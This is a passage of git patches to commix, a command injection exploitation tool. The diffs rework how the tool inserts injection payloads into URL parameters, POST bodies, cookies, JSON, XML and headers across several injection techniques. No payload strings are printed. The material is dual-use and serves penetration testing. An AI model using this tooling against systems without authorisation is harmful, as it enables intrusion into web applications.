+ print(settings.print_bold_warning_msg(warn_msg))
+
info_msg = "Setting the"
if not header_name == " cookie" and not the_type == " HTTP header":
info_msg += " " + str(http_request_method) + ""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index b9fbcfd8bb..68672e62cd 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "14"
+REVISION = "15"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 8b144860026c496ad10a5fc11bd306684cec484b Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 28 Mar 2022 09:30:49 +0300
Subject: [PATCH 092/560] Minor update for
(https://github.com/commixproject/commix/commit/e46594b067a44c7af1d26956ed040e3414444932)
---
src/core/injections/controller/controller.py | 9 +++++----
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 6014fd7931..7dc76d635e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -85,13 +85,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
print(settings.print_debug_msg(debug_msg))
_ = 0
for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS:
+ _ = _ + 1
+ if not inject_http_headers:
+ payload = _urllib.parse.quote(payload)
if menu.options.prefix:
payload = menu.options.prefix + payload
if menu.options.suffix:
payload = payload + menu.options.suffix
- _ = _ + 1
- if not inject_http_headers:
- payload = _urllib.parse.quote(payload)
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
@@ -416,7 +416,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
classic_command_injection_technique(url, timesec, filename, http_request_method)
else:
classic_command_injection_technique(url, timesec, filename, http_request_method)
- dynamic_code_evaluation_technique(url, timesec, filename, http_request_method)
+ if not settings.IDENTIFIED_COMMAND_INJECTION:
+ dynamic_code_evaluation_technique(url, timesec, filename, http_request_method)
timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 68672e62cd..06db437aff 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "15"
+REVISION = "16"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 02e00e40a00aecb80bfbefec0a19c160f9dbd270 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 29 Mar 2022 07:36:33 +0300
Subject: [PATCH 093/560] Minor update regarding hex encoded characters
recognition
---
src/utils/settings.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 06db437aff..a5bbe6531a 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "16"
+REVISION = "17"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -845,7 +845,7 @@ def sys_argv_errors():
BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$'
# Hex encoded characters recognition
-HEX_RECOGNITION_REGEX = r'^[0-9a-f]+'
+HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$'
# GET parameters recognition
GET_PARAMETERS_REGEX = r"(.*?)\?(.+)"
From 9e5bab98992b2f60f4b3f289ee7297e956b29fb7 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 30 Mar 2022 07:32:43 +0300
Subject: [PATCH 094/560] Minor update
---
src/core/injections/controller/controller.py | 6 ++----
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 5 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 7dc76d635e..20e7b58c33 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -88,10 +88,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
_ = _ + 1
if not inject_http_headers:
payload = _urllib.parse.quote(payload)
- if menu.options.prefix:
- payload = menu.options.prefix + payload
- if menu.options.suffix:
- payload = payload + menu.options.suffix
+ payload = parameters.prefixes(payload, prefix="")
+ payload = parameters.suffixes(payload, suffix="")
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
print(settings.print_payload(payload))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a5bbe6531a..dd35c3d083 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "17"
+REVISION = "18"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 0d66a00d8721715198387f6e8fb3506b44a42b77 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 31 Mar 2022 08:31:19 +0300
Subject: [PATCH 095/560] Minor update regarding testable parameter(s)
---
.../blind/techniques/time_based/tb_injector.py | 16 ++++++++--------
src/core/injections/controller/controller.py | 12 ++++++------
.../techniques/classic/cb_injector.py | 16 ++++++++--------
.../techniques/eval_based/eb_injector.py | 16 ++++++++--------
.../techniques/file_based/fb_injector.py | 16 ++++++++--------
.../techniques/tempfile_based/tfb_injector.py | 16 ++++++++--------
src/core/requests/parameters.py | 11 +++++++----
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 4 +++-
9 files changed, 57 insertions(+), 52 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index bebfa4c803..06b0d21f60 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -49,7 +49,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
@@ -62,15 +62,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
@@ -99,7 +99,7 @@ def injection_test(payload, http_request_method, url):
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined method is POST.
@@ -113,15 +113,15 @@ def injection_test(payload, http_request_method, url):
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 20e7b58c33..ef5fae6c6e 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -97,12 +97,12 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
cookie = None
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
- cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
- data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
- tmp_url = url.replace(settings.INJECT_TAG, payload)
+ tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
@@ -162,12 +162,12 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
cookie = None
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
- cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
- data = menu.options.data.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
+ data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.INJECT_TAG in url:
- tmp_url = url.replace(settings.INJECT_TAG, payload)
+ tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(tmp_url, data)
if cookie:
request.add_header(settings.COOKIE, cookie)
diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py
index 371f737be6..e12d3d9e62 100755
--- a/src/core/injections/results_based/techniques/classic/cb_injector.py
+++ b/src/core/injections/results_based/techniques/classic/cb_injector.py
@@ -52,7 +52,7 @@ def injection_test(payload, http_request_method, url):
payload = payload.replace(" ","%20")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
@@ -70,15 +70,15 @@ def injection_test(payload, http_request_method, url):
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
@@ -202,7 +202,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
@@ -221,15 +221,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 538ed8863b..20884d3b98 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -47,7 +47,7 @@ def injection_test(payload, http_request_method, url):
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
@@ -65,15 +65,15 @@ def injection_test(payload, http_request_method, url):
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
@@ -190,7 +190,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
@@ -209,15 +209,15 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 5a1edf8e47..a823fe5dde 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -54,7 +54,7 @@ def injection_test(payload, http_request_method, url):
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined extra headers.
@@ -75,15 +75,15 @@ def injection_test(payload, http_request_method, url):
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
@@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
payload = payload.replace(" ","%20")
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined extra headers.
@@ -212,15 +212,15 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 0294a98a3c..5888383d58 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -51,7 +51,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
@@ -66,15 +66,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec,
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
@@ -104,7 +104,7 @@ def injection_test(payload, http_request_method, url):
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
- target = url.replace(settings.INJECT_TAG, payload)
+ target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined method is POST.
@@ -120,15 +120,15 @@ def injection_test(payload, http_request_method, url):
# Define the POST data
if settings.IS_JSON:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
- data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
- data = parameter.replace(settings.INJECT_TAG, payload)
+ data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 7c69c91310..59659d7c36 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -170,6 +170,7 @@ def vuln_GET_param(url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
+ settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
break
else:
@@ -348,6 +349,7 @@ def vuln_POST_param(parameter, url):
param = param.split("(")[1]
vuln_parameter = param.split(",")[-1:]
if ":" in vuln_parameter[0]:
+ settings.TESTABLE_VALUE = vuln_parameter[0].split(":")[1]
vuln_parameter = vuln_parameter[0].split(":")[0]
vuln_parameter = ''.join(vuln_parameter)
@@ -356,6 +358,7 @@ def vuln_POST_param(parameter, url):
if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter):
vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter)
vuln_parameter = re.findall(r"" + "([^]+)", vuln_parameter[0])
+ settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0]
vuln_parameter = ''.join(vuln_parameter)
# Regular POST data format.
@@ -366,6 +369,7 @@ def vuln_POST_param(parameter, url):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
vuln_parameter = pairs[param].split("=")[0]
+ settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
break
if 'vuln_parameter' not in locals():
@@ -379,10 +383,9 @@ def vuln_POST_param(parameter, url):
def prefixes(payload, prefix):
# Check if defined "--prefix" option.
if menu.options.prefix:
- payload = menu.options.prefix + prefix + payload
+ payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload
else:
- payload = prefix + payload
-
+ payload = settings.TESTABLE_VALUE + prefix + payload
return payload
"""
@@ -394,7 +397,6 @@ def suffixes(payload, suffix):
payload = payload + suffix + menu.options.suffix
else:
payload = payload + suffix
-
return payload
"""
@@ -487,6 +489,7 @@ def specify_cookie_parameter(cookie):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
inject_cookie = pairs[param].split("=")[0]
+ settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
break
else:
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 23d611d93a..0eb655d021 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -896,7 +896,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
headers.do_check(request)
payload = checks.newline_fixation(payload)
if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE:
- request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, payload))
+ request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload))
else:
request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload)
try:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index dd35c3d083..597aec930c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "18"
+REVISION = "19"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -383,6 +383,8 @@ def sys_argv_errors():
# The testable parameter.
TESTABLE_PARAMETER = ""
+TESTABLE_VALUE = ""
+
# The HTTP header name.
HTTP_HEADER = ""
From 60998daada248ab9dda0e793a982621224bfca67 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 1 Apr 2022 08:19:04 +0300
Subject: [PATCH 096/560] Minor update regarding commit
https://github.com/commixproject/commix/commit/0d66a00d8721715198387f6e8fb3506b44a42b77
---
src/core/requests/parameters.py | 9 ++++++---
src/utils/settings.py | 4 ++--
2 files changed, 8 insertions(+), 5 deletions(-)
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 59659d7c36..231d04b6c5 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -134,7 +134,7 @@ def do_GET_check(url, http_request_method):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
+ #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
parameter = settings.PARAMETER_DELIMITER.join(all_params)
# Reconstruct the URL
url = url_part + "?" + parameter
